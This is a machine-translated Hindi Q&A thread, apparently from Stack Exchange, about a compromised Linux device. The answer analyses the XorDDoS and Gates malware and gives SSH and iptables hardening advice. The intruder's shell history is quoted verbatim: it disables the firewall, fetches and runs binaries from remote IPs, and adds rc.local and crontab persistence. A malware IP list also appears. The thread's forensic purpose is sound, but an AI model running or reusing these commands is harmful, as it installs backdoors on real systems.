क्या मैं अभी हैक हुआ हूं?


492

मैं एक उपभोक्ता उत्पाद विकसित कर रहा हूं, और यह इंटरनेट से जुड़ा होना चाहिए, इसलिए जैसा कि अपेक्षित है, यह इंटरनेट से जुड़ा है ताकि मैं इसे ठीक से विकसित कर सकूं।

मैं एक या दो घंटे के लिए चला गया, और जब मैं अपने कार्यालय में वापस आया तो मैंने टर्मिनल में लिखे कुछ अजीब आदेशों को देखा।

लिनक्स लॉग फाइल auth.logको देखने के बाद मैं निम्नलिखित पंक्तियों को देख सकता हूं (कई और के बीच):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

आईपी पते 40.127.205.162पता चला जा करने के लिए माइक्रोसॉफ्ट के स्वामित्व वाले

यहाँ आदेशों का एक समूह है जो मेरे दूर रहने के दौरान उपयोग किए गए थे:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

और अधिक:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

मैं इस बात से पूरी तरह अनजान था। मैं अपने उत्पाद को कैसे ठीक से सुरक्षित कर सकता हूं?

मैं पूरी auth.logफाइल पोस्ट करना चाहूंगा । मैं उसको कैसे करू?

इसके अलावा, yjz1डाउनलोड की गई फ़ाइल लिनक्स ट्रोजन लगती है और यह सब किसी तरह के हैकर समूह द्वारा http://anti-hacker-alliance.com/index.php?ip=40.127.205.162 के अनुसार किया जाता है

क्या मुझे Microsoft को कॉल करना चाहिए और उनसे बात करनी चाहिए? मुझे क्या करना चाहिए?


40
हाँ, यह बहुत अच्छा नहीं लगता है। मैं किसी भी तरह से लिनक्स में एक विशेषज्ञ नहीं हूं, लेकिन कुछ लोगों ने निश्चित रूप से वहां पर अमल करने की कोशिश की। मुझे पूरा यकीन नहीं है कि यद्यपि यह कैसा दिखता है क्योंकि यह मूल रूप में लॉग इन करने का प्रयास किया और विफल रहा। क्या आपके or.log में कोई अन्य लॉग हैं? दूरस्थ प्रशासन का कोई अन्य साधन? मैंने देखा है कि वीएनसी सर्वर के साथ मैक को उसके माध्यम से हैक करने से पहले सक्षम किया गया है, हालांकि यह एक एसएसएच प्रयास जैसा दिखता है। लगता है कि यह जिस आईपी से डाउनलोड कर रहा था वह चीन में कहीं होस्ट किया गया है।
जोनो

68
तुम मजबूर हो गए। यही कारण है कि एक इंटरनेट पर एक ssh सर्वर नहीं छोड़ता है, भले ही आपके पास पासवर्ड हो। इन दिनों के आधार पर कुंजी आधारित कुछ भी सुरक्षित नहीं है।
जर्नीमैन गीक

80
वैसे हमारे पास security.stackexchange.com है । लेकिन पहली बात पहली: समझौता किए गए मेजबान पर अब भरोसा नहीं किया जा सकता है। इसे नेटवर्क से हटा लें। यदि संभव हो तो एक बैकअप बनाएं ताकि आप यह शोध कर सकें कि क्या किया गया था और यह कैसे किया गया था। अगला एक साफ स्रोत से ओएस को पुनर्स्थापित करें। बैकअप से डेटा पुनर्स्थापित करें। सिस्टम को सुरक्षित करें ताकि आप फिर से संक्रमित न हों। यह पता लगाना कि उन्हें किस तरह से सलाह दी जाती है। (इसलिए संक्रमित प्रणाली की एक प्रति बनाने की सिफारिश की गई है)।
हेन्स

84
FYI करें: 40.127.205.162 जियोआईपी के अनुसार Microsoft Azure IP एड्रेस है। नतीजतन, आप Microsoft को हमले के लिए दोषी नहीं ठहरा सकते - यह अमेज़ॅन को दोष देने के बराबर है क्योंकि किसी ने स्पैम के लिए EC2 का उपयोग किया था। केवल एक चीज जो Microsoft वास्तव में कर सकता है, एज़्योर से हमलावरों को मारना है, लेकिन वे कुछ ही समय में एक अलग क्लाउड प्लेटफॉर्म पर वापस आ जाएंगे।
nnonneo

41
वास्तव में, यदि यह आपके टर्मिनल में लिखा गया था, तो हैकर संभवतः अगले कक्ष में बैठा है।
isanae

जवाबों:


487

संपादित करें 2 :

एक अच्छा कारण है कि यह पोस्ट इतना ध्यान आकर्षित कर रही है: आप अपने पीसी पर एक घुसपैठिए के पूरे, लाइव सत्र को रिकॉर्ड करने में कामयाब रहे। यह हमारे रोजमर्रा के अनुभव से बहुत अलग है, जहां हम उसके कार्यों के परिणामों की खोज से निपटते हैं और उनका निवारण करने का प्रयास करते हैं। यहां हम उसे काम पर देखते हैं, उसे पिछले दरवाजे की स्थापना के साथ कुछ समस्याएँ देखते हैं, उसके कदमों को दोहराते हैं, बुखार से काम करते हैं (शायद इसलिए कि वह आपकी मेज पर बैठा था, जैसा कि ऊपर बताया गया है, या शायद, और मेरी राय में अधिक संभावना है, क्योंकि वह था) सिस्टम पर उसके मैलवेयर चलाने में असमर्थ, नीचे पढ़ें), और नियंत्रण के पूरी तरह से स्व-निहित उपकरणों को तैनात करने का प्रयास करें। यह वही है जो सुरक्षा शोधकर्ताओं ने अपने शहद के जाल के साथ प्रतिदिन देखा । मेरे लिए, यह एक बहुत ही दुर्लभ मौका है, और कुछ मनोरंजन का स्रोत है।


आप निश्चित रूप से हैक कर लिए गए हैं। इसके लिए सबूत आपके द्वारा प्रदर्शित फ़ाइल के स्निपेट से नहीं आते हैं auth.log, क्योंकि यह एक असफल लॉगिन प्रयास की रिपोर्ट करता है, जो थोड़े समय के अंतराल (दो सेकंड) में होता है। आप देखेंगे कि दूसरी पंक्ति बताती है Failed password, जबकि तीसरा एक pre-authडिस्कनेक्ट की रिपोर्ट करता है : आदमी ने कोशिश की और असफल रहा।

इसके बजाय दो फ़ाइलों की सामग्री http://222.186.30.209:65534/yjzऔर http://222.186.30.209:65534/yjz1हमलावर आपके सिस्टम पर डाउनलोड किए गए सबूत से आता है।

साइट वर्तमान में किसी को भी उन्हें डाउनलोड करने के लिए खुली है, जो मैंने किया था। मैं पहली बार fileउन पर भागा , जिससे पता चला:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

फिर मैं उन्हें 64-बिट डेबियन वीएम पर लाया; stringsकमांड के माध्यम से उनकी सामग्री की एक परीक्षा से पता चला कि यह संदिग्ध था (विभिन्न प्रसिद्ध हमलों के संदर्भ में, आदेश के लिए प्रतिस्थापित किया जा सकता है, एक स्क्रिप्ट जिसे स्पष्ट रूप से एक नई सेवा स्थापित करने के लिए उपयोग किया गया था, और इसी तरह)।

मैंने तब दोनों फाइलों के एमडी 5-हैश का उत्पादन किया, और उन्हें Cymru के हैश डेटाबेस में यह देखने के लिए खिलाया कि क्या वे मैलवेयर के ज्ञात एजेंट हैं। जबकि yjz, नहीं yjz1है, और Cymru 58% के एंटी-वायरस सॉफ़्टवेयर द्वारा पता लगाने की संभावना की रिपोर्ट करता है। इसमें यह भी कहा गया है कि इस फाइल को आखिरी बार तीन दिन पहले देखा गया था, इसलिए यह यथोचित है।

मेरे द्वारा प्राप्त दो फाइलों पर क्लैमस्कैन ( clamavपैकेज का हिस्सा ) चल रहा है:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

इसलिए अब हम निश्चित हैं कि मानक लिनक्स सॉफ्टवेयर इसे पहचान सकते हैं।

आपको क्या करना चाहिये?

हालाँकि नया नहीं है, न ही सिस्टम बहुत नया है, उदाहरण के लिए XorDdos पर जनवरी 2015 का यह लेख देखें । इसलिए अधिकांश मुफ्त पैकेज इसे हटाने में सक्षम होना चाहिए। आप की कोशिश करनी चाहिए: clamav, rkhunter, chkrootkit। मैं चारों ओर गुगली कर चुका हूं, और देखा कि वे इसे हाजिर करने का दावा करते हैं। पूर्ववर्ती के काम पर जांच करने के लिए उनका उपयोग करें, लेकिन इन तीन कार्यक्रमों को चलाने के बाद आपको जाने के लिए तैयार होना चाहिए।

बड़े सवाल के रूप में what should you do to prevent future infections, जर्नीमैन का जवाब एक अच्छा पहला कदम है। बस यह ध्यान रखें कि यह एक निरंतर संघर्ष है, एक यह कि हम सब (मेरे सहित!) बहुत अच्छी तरह से जानते हुए भी बिना खोए रह सकते हैं।

संपादित करें :

विक्टर टोथ (अप्रत्यक्ष) संकेत पर, मैं कुछ टिप्पणियां जोड़ना चाहूंगा। यह निश्चित रूप से सच है कि घुसपैठिये को कुछ कठिनाइयों का सामना करना पड़ा: वह दो अलग हैकिंग टूल डाउनलोड करता है, कई बार अपनी अनुमतियों को बदलता है, कई बार उन्हें पुनरारंभ करता है, और फ़ायरवॉल को अक्षम करने के लिए कई बार कोशिश करता है। यह अनुमान लगाना आसान है कि क्या हो रहा है: वह अपने हैकिंग टूल की उम्मीद करता है कि उसके संक्रमित पीसी (बाद में देखें) में से एक की ओर एक संचार चैनल खोलने के लिए, और, जब वह इस नए चैनल वसंत को अपने नियंत्रण GUI पर नहीं देखता है, तो उसकी हैकिंग का डर है उपकरण को फ़ायरवॉल द्वारा अवरुद्ध किया जा रहा है, इसलिए वह स्थापना प्रक्रिया को दोहराता है। मैं विक्टर टोथ से सहमत हूं कि उनके ऑपरेशन का यह विशेष चरण अपेक्षित फल नहीं लाता है, लेकिन मैं आपको बहुत दृढ़ता से प्रोत्साहित करना चाहता हूं अपने पीसी पर नुकसान पहुंचाने की सीमा को कम न समझें।

मैं यहां आंशिक उत्पादन प्रदान करता हूं strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

यह (में सेवाओं के साथ छेड़छाड़ के सबूत प्रदान करता है /etc/init.dऔर में /etc/rc.d,) के साथ crontab, के इतिहास फ़ाइल के साथ mysql, और फ़ाइलों के एक जोड़े में procजो करने के लिए लिंक कर रहे हैं bash(जो एक विशेष रूप से निर्मित अपने खोल की धोखाधड़ी संस्करण का सुझाव लगाया गया है)। तब कार्यक्रम एक HTTP अनुरोध (एक चीनी भाषी साइट के लिए, उत्पन्न करता है)

 Accept-Language: zh-cn

जो डेविड श्वार्ट्ज की टिप्पणी के ऊपर पदार्थ देता है), जो और भी कहर पैदा कर सकता है। अनुरोध में, बायनेरिज़ ( Content-Type: application/x-www-form-urlencoded) को अटैक किए गए पीसी (GET) पर डाउनलोड किया जाना चाहिए और कंट्रोलिंग मशीन (POST) पर अपलोड किया जाना चाहिए। मैं यह स्थापित नहीं कर सका कि अटैक किए गए पीसी पर क्या डाउनलोड किया जाएगा, लेकिन, दोनों के छोटे आकार yjzऔर yjz1(1.1MB और 600kB, पूरी तरह से) को देखते हुए, मैं यह सुनिश्चित करने के लिए उद्यम कर सकता हूं कि रूटकिट को क्लॉक करने के लिए अधिकांश फ़ाइलों की आवश्यकता होती है, अर्थात परिवर्तित। के संस्करणों ls, netstat, ps, ifconfig, ..., इस तरह से डाउनलोड किया जा जाएगा। और यह हमलावर के बुखार को इस डाउनलोड को प्राप्त करने के प्रयासों की व्याख्या करेगा।

इस बात की कोई निश्चितता नहीं है कि उपरोक्त सभी संभावनाएँ समाप्त हो गई हैं: हम निश्चित रूप से प्रतिलेख (४५ and और ४ 48१ के बीच) के हिस्से का अभाव रखते हैं और हम एक लॉगआउट नहीं देखते हैं; इसके अलावा, विशेष रूप से चिंताजनक लाइनें 495-497 हैं,

cd /tmp;  ./yd_cd/make

जो एक फ़ाइल का संदर्भ देता है जिसे हमने डाउनलोड नहीं किया था, और जो एक संकलन हो सकता है: यदि ऐसा है, तो इसका मतलब है कि हमलावर के पास (अंत में?) समझ में आया कि उसके निष्पादकों के साथ समस्या क्या थी, और इसे ठीक करने की कोशिश कर रहा है, किस स्थिति में? हमला पीसी अच्छे के लिए चला गया है। [वास्तव में, मैलवेयर के दो संस्करण जो हमलावर ने हैक की गई मशीन पर डाउनलोड किए (और मैं अपने 64 बिट डेबियन वीएम पर) एक अनुपयुक्त वास्तुकला, x86 के लिए हैं, जबकि हैक किए गए पीसी में अकेले नाम इस तथ्य को दूर करता है कि वह एक हाथ वास्तुकला के साथ काम कर रहा था]।

मेरे द्वारा संपादित किए जाने का कारण यह है कि आप अपने सिस्टम को एक पेशेवर उपकरण के साथ कंघी करने के लिए, या खरोंच से फिर से स्थापित करने के लिए दृढ़ता से आग्रह करें।

और, वैसे, क्या यह किसी के लिए उपयोगी साबित होना चाहिए, यह 331 आईपी ​​पते की सूची है जो yjzकनेक्ट करने की कोशिश करता है। यह सूची इतनी बड़ी है (और शायद अब भी बड़ी हो गई है) कि मेरा मानना ​​है कि यह छेड़छाड़ का कारण है mysql। अन्य पिछले दरवाजे द्वारा प्रदान की गई सूची समान है, जो, मुझे लगता है, इस तरह के एक महत्वपूर्ण जानकारी को खुले में छोड़ने का कारण है (मुझे लगता है कि हमलावर उन्हें कर्नेल प्रारूप में संग्रहीत करने के प्रयास नहीं करना चाहते थे, इसलिए उन्होंने पूरी सूची को एक स्पष्ट-पाठ फ़ाइल में रखा, जो संभवतया उनके बैकसाइड द्वारा, जो भी ओएस के लिए पढ़ी जाती है):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

निम्नलिखित कोड

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

उपरोक्त सूची से पता चलता है कि कुल 331 पतों में से 302 मुख्य भूमि चीन में हैं, शेष हांगकांग, मंगोलिया, ताइवान में हैं। यह डेविड श्वार्ट्ज के विवाद के आगे समर्थन को जोड़ता है कि यह ज्यादातर चीनी बॉट रिंग है।

EDIT 3

@ वैद के अनुरोध पर (ओपी के लेखक, उनकी टिप्पणी नीचे पढ़ें), मैं एक टिप्पणी जोड़ूंगा कि एक बुनियादी लिनक्स सिस्टम की सुरक्षा को कैसे मजबूत किया जाए (कई सेवाओं को प्रदान करने वाली प्रणाली के लिए, यह कहीं अधिक जटिल विषय है)। vaidउन्होंने कहा कि राज्यों ने किया:

  1. सिस्टम को पुनर्स्थापित करें

  2. रूट कम पासवर्ड को 16 कैरेक्टर लॉन्ग पासवर्ड को मिक्स्ड लोअर और अपरकेस अक्षरों और अक्षरों और अंकों के साथ बदल दिया।

  3. उपयोगकर्ता नाम को 6 मिश्रित वर्ण लंबे उपयोगकर्ता नाम में बदल दिया और रूट के लिए उपयोग किए गए समान पासवर्ड को लागू किया

  4. 5000 से ऊपर कुछ करने के लिए SSH पोर्ट बदल दिया

  5. SSH रूट लॉगिन को बंद कर दिया।

यह ठीक है (इसके अलावा मैं 10,000 से ऊपर के पोर्ट का उपयोग करता हूं क्योंकि कई उपयोगी प्रोग्राम 10,000 से नीचे के पोर्ट का उपयोग करते हैं)। लेकिन मैं पासवर्ड के बजाय ssh लॉगिन के लिए क्रिप्टोग्राफिक कुंजियों का उपयोग करने की आवश्यकता पर जोर नहीं दे सकता । मैं आपको एक व्यक्तिगत उदाहरण दूंगा। मेरे एक VPSes पर, मैं अनिश्चित था कि ssh पोर्ट को बदलना है या नहीं; मैंने इसे 22 पर छोड़ दिया, लेकिन प्रमाणीकरण के लिए क्रिप्टो कुंजी का इस्तेमाल किया। मेरे पास प्रति दिन सैकड़ों ब्रेक-इन के प्रयास थे , कोई भी सफल नहीं हुआ। जब, दैनिक जांच करने के लिए थक गया कि कोई भी सफल नहीं हुआ था, तो मैंने अंततः पोर्ट को 10,000 से ऊपर की चीज पर स्विच कर दिया, ब्रेक-इन प्रयास शून्य हो गया। आप पर ध्यान दें, ऐसा नहीं है कि हैकर्स बेवकूफ हैं (वे नहीं हैं!), वे बस आसान शिकार का शिकार करते हैं।

RSA के साथ हस्ताक्षर एल्गोरिथ्म के रूप में एक क्रिप्टो कुंजी को सक्रिय करना आसान है, नीचे जनवरी हडेक (धन्यवाद!) द्वारा टिप्पणी देखें:

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

अब आपको बस इतना करना है कि फाइल id_rsaको उस मशीन पर कॉपी करना है जिससे आप कनेक्ट करना चाहते हैं (एक डायरेक्टरी में .ssh, chmod'एड टू 700'), फिर कमांड जारी करें

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

जब आप सुनिश्चित हों कि यह काम करता है, फ़ाइल पर सर्वर (= मशीन जिसे आप कनेक्ट करना चाहते हैं) को संपादित करें /etc/ssh/sshd_configऔर लाइन बदलें

#PasswordAuthentication yes

सेवा

PasswordAuthentication no

और sshसेवा को पुनः आरंभ करें ( service ssh restartया systemctl restart sshडिस्ट्रो के आधार पर ऐसा कुछ, या)।

इससे बहुत कुछ झेलना पड़ेगा। वास्तव में, वर्तमान में openssh v2और के रूप में RSA के मौजूदा संस्करणों के खिलाफ कोई ज्ञात कारनामे नहीं हैं openssh v2

अंत में, वास्तव में अपनी मशीन को नीचे झुकाने के लिए, आपको फ़ायरवॉल (नेटफिल्टर / आईपी-टेबल्स) को निम्नानुसार कॉन्फ़िगर करना होगा:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

यह, 1) LAN और WAN दोनों से ssh कनेक्शन की अनुमति देता है, 2) आपके अनुरोध से उत्पन्न सभी इनपुट की अनुमति देता है (उदाहरण के लिए, जब आप एक वेब पेज लोड करते हैं), 3) इनपुट पर बाकी सब कुछ छोड़ देता है, 4) सब कुछ पर अनुमति देता है आउटपुट, और 5-6) लूपबैक इंटरफेस पर सब कुछ की अनुमति देता है।

जैसे-जैसे आपकी ज़रूरतें बढ़ती हैं, और अधिक पोर्ट खोलने की आवश्यकता होती है, आप ऐसा कर सकते हैं, सूची के शीर्ष पर, नियम जैसे:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

उदाहरण के लिए लोगों को अपने वेब ब्राउज़र का उपयोग करने की अनुमति देना।


11
यह पढ़कर बहुत अच्छा लगा। मैंने yjz1Googles VirusTotal.com के माध्यम से फ़ाइल को भी आज़माया, जो सकारात्मक रही। मैंने यह भी नहीं देखा कि yjzडाउनलोड किया गया था। धन्यवाद।
वैद

34
stringsअविश्वसनीय डेटा पर सावधानी बरतें । lcamtuf.blogspot.com/2014/10/…
मैट

5
@MattNordhoff इसे इंगित करने के लिए धन्यवाद, मैं आनंद से अनजान था। हालाँकि, मेरे डेबियन पर 'स्ट्रिंग्स' कमांड आपके द्वारा उड़ने वाले रंगों से जुड़ा हुआ टेस्ट पास करता है। मुझे लगता है कि यह इस तथ्य के कारण है कि मैनुअल बताता है: -a ... आम तौर पर यह डिफ़ॉल्ट व्यवहार है । चीयर्स।
MariusMatutiae

32
